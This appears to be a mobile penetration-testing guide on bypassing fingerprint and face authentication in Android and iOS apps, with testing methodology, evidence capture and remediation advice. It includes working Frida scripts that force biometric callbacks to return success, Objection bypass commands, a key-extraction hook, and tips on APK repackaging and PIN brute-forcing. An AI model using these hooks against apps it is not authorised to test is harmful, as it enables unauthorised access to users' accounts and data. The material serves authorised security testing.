Biometric Authentication Bypass
Biometric authentication (fingerprint, face recognition) adds convenience but can be bypassed when improperly implemented. This guide covers common weaknesses and bypass techniques.
OWASP M3: Insecure Authentication/Authorization
How Biometric Auth Works
Secure Implementation
- User authenticates with biometric
- System returns cryptographic key from Keystore/Keychain
- Key is used to decrypt local credentials or sign challenge
- Signed challenge sent to server for validation
Insecure Implementation
- User authenticates with biometric
- Callback returns boolean (success/failure)
- App checks boolean and proceeds if true
- No cryptographic binding to authentication
The distinction those two cards draw is the one that decides severity. A prompt that can be hooked is not the same as an authentication that can be bypassed: hooking the callback proves the app trusts a boolean, and whether the server also trusts it is a separate question. The finding is only as strong as the server's response to the request that follows.
Who Owns the Decision
The prompt belongs to the platform; the decision belongs to the app.
BiometricPrompt
verifies the biometric against the enrolled template and hands a result to a callback, and what
that result unlocks is entirely the app's choice. A hooked callback is a bypass only where the
app's own decision is the gate in front of the sink: if the boolean merely drives a screen
transition while the request that matters carries a token the server accepts, you have changed a
value nothing depends on.
| Gate | What a bypass changes | What a genuine finding looks like |
|---|---|---|
| UI gate | Dismiss the prompt, or flip a local flag | The screen behind it opens on a cold start with no prompt and no credential |
| Callback boolean | The result the app's callback receives | The request that follows is accepted without a fresh assertion — capture it in the proxy |
| Keystore-bound key | Nothing: the key operation still fails | A downgrade instead: a key without setUserAuthenticationRequired, or a secret decrypted once and cached |
| Server step-up | Nothing | The server refuses, or re-authenticates — a limitation, not a finding |
A hooked callback cannot forge a keystore operation, which is the point of the control. The key
material stays inside the keystore — hardware-backed on devices that provide it — and only a
completed authentication issues the authorisation that lets a Cipher
or Signature
initialised with it run, so replacing a Java method changes what the app believes rather than what
the keystore permits. Against a
CryptoObject-bound
prompt the result to look for is therefore not a bypass but what the app does when the operation
fails: a weaker fallback path, or a null CryptoObject it never checks.
Android Biometric Bypass
BiometricPrompt Callback Bypass
Hook the authentication callback to always return success:
Java.perform(function() {
// BiometricPrompt.AuthenticationCallback bypass
var AuthenticationCallback = Java.use('androidx.biometric.BiometricPrompt$AuthenticationCallback');
// Hold the original before replacing it: calling this.onAuthenticationSucceeded()
// from inside the replacement re-enters the replacement, not the real handler.
var origSucceeded = AuthenticationCallback.onAuthenticationSucceeded;
origSucceeded.implementation = function(result) {
console.log('[+] onAuthenticationSucceeded called');
return origSucceeded.call(this, result);
};
AuthenticationCallback.onAuthenticationFailed.implementation = function() {
console.log('[*] onAuthenticationFailed: delivering success to the app instead');
return origSucceeded.call(this, null);
};
AuthenticationCallback.onAuthenticationError.implementation = function(errorCode, errString) {
console.log('[*] onAuthenticationError: ' + errString);
return origSucceeded.call(this, null);
};
});
Two things in that script are easy to get wrong. The replacement captures the original before
overwriting it, and it has to: this.onAuthenticationSucceeded(result)
inside the replacement resolves back to the replacement and recurses until the stack dies, whereas
a reference taken first and called as
orig.call(this, result)
reaches the real method. The rule is the same for every hook on this page. The second is placement:
the hook sits on the framework's callback class, so it only runs where the app has not overridden
those methods, and an app that reacts to a successful authentication usually has. A script that
prints nothing is often correct rather than broken.
Legacy FingerprintManager Bypass
Java.perform(function() {
// Legacy FingerprintManager (pre-Android 9)
var FingerprintManager = Java.use('android.hardware.fingerprint.FingerprintManager');
var AuthCallback = Java.use('android.hardware.fingerprint.FingerprintManager$AuthenticationCallback');
var origSucceeded = AuthCallback.onAuthenticationSucceeded;
origSucceeded.implementation = function(result) {
console.log('[+] Fingerprint success callback');
return origSucceeded.call(this, result);
};
AuthCallback.onAuthenticationFailed.implementation = function() {
console.log('[*] Bypassing fingerprint failure');
return origSucceeded.call(this, null);
};
// Hook the authenticate method itself
FingerprintManager.authenticate.implementation = function(crypto, cancel, flags, callback, handler) {
console.log('[*] FingerprintManager.authenticate intercepted');
return callback.onAuthenticationSucceeded(null);
};
});Using Objection
# Connect to app
objection -g com.target.app explore
# Allow the auth screen to be screenshotted (clears FLAG_SECURE)
android ui FLAG_SECURE false
# List biometric-related classes
android hooking list classes | grep -i biometric
android hooking list classes | grep -i fingerprint
# Watch authentication methods
android hooking watch class androidx.biometric.BiometricPrompt
android hooking watch class android.hardware.fingerprint.FingerprintManageriOS Biometric Bypass
LocalAuthentication Framework Bypass
// Bypass Touch ID / Face ID
if (ObjC.available) {
var LAContext = ObjC.classes.LAContext;
// Hook evaluatePolicy:localizedReason:reply:
var evaluatePolicy = LAContext['- evaluatePolicy:localizedReason:reply:'];
Interceptor.attach(evaluatePolicy.implementation, {
onEnter: function(args) {
console.log('[*] evaluatePolicy called');
var policy = args[2];
var reason = ObjC.Object(args[3]);
console.log(' Policy: ' + policy);
console.log(' Reason: ' + reason.toString());
// Store the reply block
this.reply = new ObjC.Block(args[4]);
},
onLeave: function(retval) {
// Call reply block with success
console.log('[+] Bypassing biometric - returning success');
if (this.reply) {
// reply(YES, nil) - success with no error
this.reply.implementation(true, null);
}
}
});
// Hook canEvaluatePolicy to always return true
var canEvaluatePolicy = LAContext['- canEvaluatePolicy:error:'];
Interceptor.attach(canEvaluatePolicy.implementation, {
onLeave: function(retval) {
console.log('[+] canEvaluatePolicy - forcing true');
retval.replace(1);
}
});
}Alternative Bypass Methods
// More comprehensive iOS bypass
if (ObjC.available) {
// Method 1: Replace reply block entirely
var LAContext = ObjC.classes.LAContext;
Interceptor.attach(LAContext['- evaluatePolicy:localizedReason:reply:'].implementation, {
onEnter: function(args) {
var block = new ObjC.Block(args[4]);
const origImpl = block.implementation;
block.implementation = function(success, error) {
console.log('[+] Biometric reply intercepted');
console.log(' Original success: ' + success);
// Always call with success=true, error=nil
origImpl(true, null);
};
}
});
// Method 2: Bypass by hooking the result check
// Find app-specific authentication method
ObjC.enumerateLoadedClasses({
onMatch: function(className) {
if (className.includes('Auth') || className.includes('Biometric')) {
console.log('[*] Found class: ' + className);
}
},
onComplete: function() {}
});
}Objection iOS Bypass
# Connect to app
objection -g com.target.app explore
# Bypass Touch ID / Face ID
ios ui biometrics_bypass
# Watch authentication classes
ios hooking watch class LAContext
# Search for biometric methods
ios hooking search classes biometric
ios hooking search methods authenticateBypassing Keychain-Bound Biometrics
Harder to Bypass
A key that cannot be used without a valid biometric unlock is a working control, and a failed bypass is a negative result rather than a finding. Record the failure output — the key would not unbind — because the client needs that as much as they need the successful bypasses.
Android Keystore Bypass Attempts
Java.perform(function() {
// Try to bypass crypto requirement
var KeyStore = Java.use('java.security.KeyStore');
var Key = Java.use('java.security.Key');
// Hook getKey to return null (may cause crash)
KeyStore.getKey.implementation = function(alias, password) {
console.log('[*] KeyStore.getKey: ' + alias);
return this.getKey(alias, password);
};
// Monitor Cipher operations
var Cipher = Java.use('javax.crypto.Cipher');
Cipher.init.overload('int', 'java.security.Key').implementation = function(mode, key) {
console.log('[*] Cipher.init with key');
this.init(mode, key);
};
// Try to extract key material (usually fails due to hardware backing)
Key.getEncoded.implementation = function() {
var encoded = this.getEncoded();
if (encoded != null) {
console.log('[+] Key encoded: ' + bytesToHex(encoded));
}
return encoded;
};
});Alternative Attack Vectors
Find Fallback Auth
Look for PIN/password fallback that may be weaker. Often stored in SharedPreferences or can be brute-forced locally.
Session Persistence
Check if session tokens are stored unencrypted. May be able to reuse them without re-authenticating.
Downgrade Attack
Modify app to disable biometric requirement. Repackage APK without biometric checks.
Time-Based Bypass
Some apps don't re-verify biometrics after initial unlock. Modify device time or keep app in memory.
Testing Methodology
Whatever else is captured, capture the operation performed after the bypass and the server's answer to it. If the server re-authenticated anyway, the biometric control is decoration and the finding should say that plainly rather than call it an authentication bypass; if a second factor was demanded, the impact is bounded by it. A fallback to the device PIN is by design, so whether it is a finding depends on what the fallback protects, and a check on a non-sensitive screen proves nothing about the payment or credential screen.
State the threat model in the same breath. A hook needs an instrumented device, so the attack assumes a compromised or instrumented handset, and an emulator with nothing enrolled reaches a different code path from a device with a biometric actually set up.
Work from the outside in, because each gate that yields shows where the next one is. A UI gate gives way to a tap or a back navigation and costs nothing to test. A callback gate comes next, hooked on the app's own implementation rather than the framework class. Then the key-bound path, where the useful question is no longer how to pass the check but what the app does when it fails. The server comes last, and it decides the severity of everything above it: a UI-only gate makes the keystore irrelevant, a callback bypass the server ignores reduces the finding to a client-side control, and a key-bound gate that holds ends the ladder for that operation. Stop when the sink stops responding, and record the rung you stopped at.
Order of Testing
- 1. Identify biometric implementation (callback vs crypto-bound)
- 2. Test callback bypass with Frida scripts
- 3. Check for fallback authentication mechanisms
- 4. Verify server-side validation of biometric auth
- 5. Test authentication timeout/persistence
- 6. Check if biometric can be bypassed via UI manipulation
- 7. Look for debug/test modes that skip auth
- 8. Test app behavior when biometrics unavailable
Security Comparison
| Implementation | Bypass Difficulty | Notes |
|---|---|---|
| Callback-only validation | Easy | Hook callback, return success |
| Client-side flag check | Easy | Modify boolean value |
| Keystore-bound (software) | Medium | May extract keys on rooted device |
| Keystore-bound (TEE/SE) | Hard | Hardware-backed, need alternative path |
| Server-validated challenge | Very Hard | Requires signed challenge from device |
Best Practice
Practice Lab
Implement one secret twice in your own app, once behind a callback boolean and once behind a crypto object bound to a keystore key, enrol a fingerprint, then fail the prompt — done when the gate-only design hands the secret over and the key-bound one does not, which is the distinction this page argues.
Evidence to Capture
Device and OS: Model, platform version, and whether biometric hardware is enrolled and available.
Implementation shape: Whether the app checks a callback boolean or unbinds a keystore or keychain key.
Hook output: The Frida script, the class or method hooked, and the console output on success.
Server response: The request the app made after the bypassed check, and the server response.
Re-authentication path: A sensitive operation performed after the bypass, and whether a second factor was demanded.
Negative result: For a key-bound implementation, the failure output when the key could not be unbound.
Likely False Positives
- Callback bypass on a client-side check: A boolean hook with no proof the server trusted it.
- Key-bound implementation held: A key unusable without a valid biometric unlock.
- No enrolled biometric: An emulator with nothing enrolled.
- Fallback to device credentials: A device PIN fallback, which is by design.
- The screen bypassed was not sensitive: A check on a non-sensitive screen.
- Root or jailbreak prerequisite: A hook that needs an instrumented handset.
- Server demanded credentials anyway: A server that re-authenticated after the bypass.
Testing Checklist
Implementation
- ☐ Determine whether the check is a callback boolean or a key-bound cryptographic result
- ☐ Identify the API in use: BiometricPrompt, FingerprintManager or LAContext
- ☐ Locate the sensitive operations sitting behind the check
- ☐ Confirm the release build uses the same path as the tested build
Testing
- ☐ Bypass attempted on callback-based implementations
- ☐ Key-unbinding attempted against keystore and keychain-backed paths
- ☐ Server response captured for the operation after the bypass
- ☐ Second-factor and fallback behaviour recorded
- ☐ Negative result recorded where the control held
Device
- ☐ Device and platform version recorded
- ☐ Enrolment state recorded
- ☐ Root or jailbreak state recorded
- ☐ Emulator behaviour separated from device behaviour
Reporting
- ☐ Threat model stated as instrumented device versus remote attacker
- ☐ Impact described in terms of the operation reached, not the prompt bypassed
- ☐ Retest steps recorded for the specific implementation shape
- ☐ Any server-side control that limited the impact noted
Remediation & Defense
Client
- • Bind authentication to a keystore or keychain key that requires a valid biometric unlock, so a boolean cannot be substituted
- • Gate the sensitive operation on the cryptographic result rather than the callback
- • Offer device credentials as fallback only where the platform policy allows it
- • Record hooking and instrumentation as a signal, never as the control itself
Server
- • Require a server-issued challenge signed by the biometric-bound key
- • Re-authenticate for high-value operations regardless of the client result
- • Treat a presence assertion with a stale or reused nonce as a failure
- • Scope tokens issued after biometric authentication to the operation that requested them
Detection
- • Alert on biometric-gated operations completed without a matching attestation
- • Record device integrity signals alongside the authentication event
- • Review new platform biometric APIs as part of each OS upgrade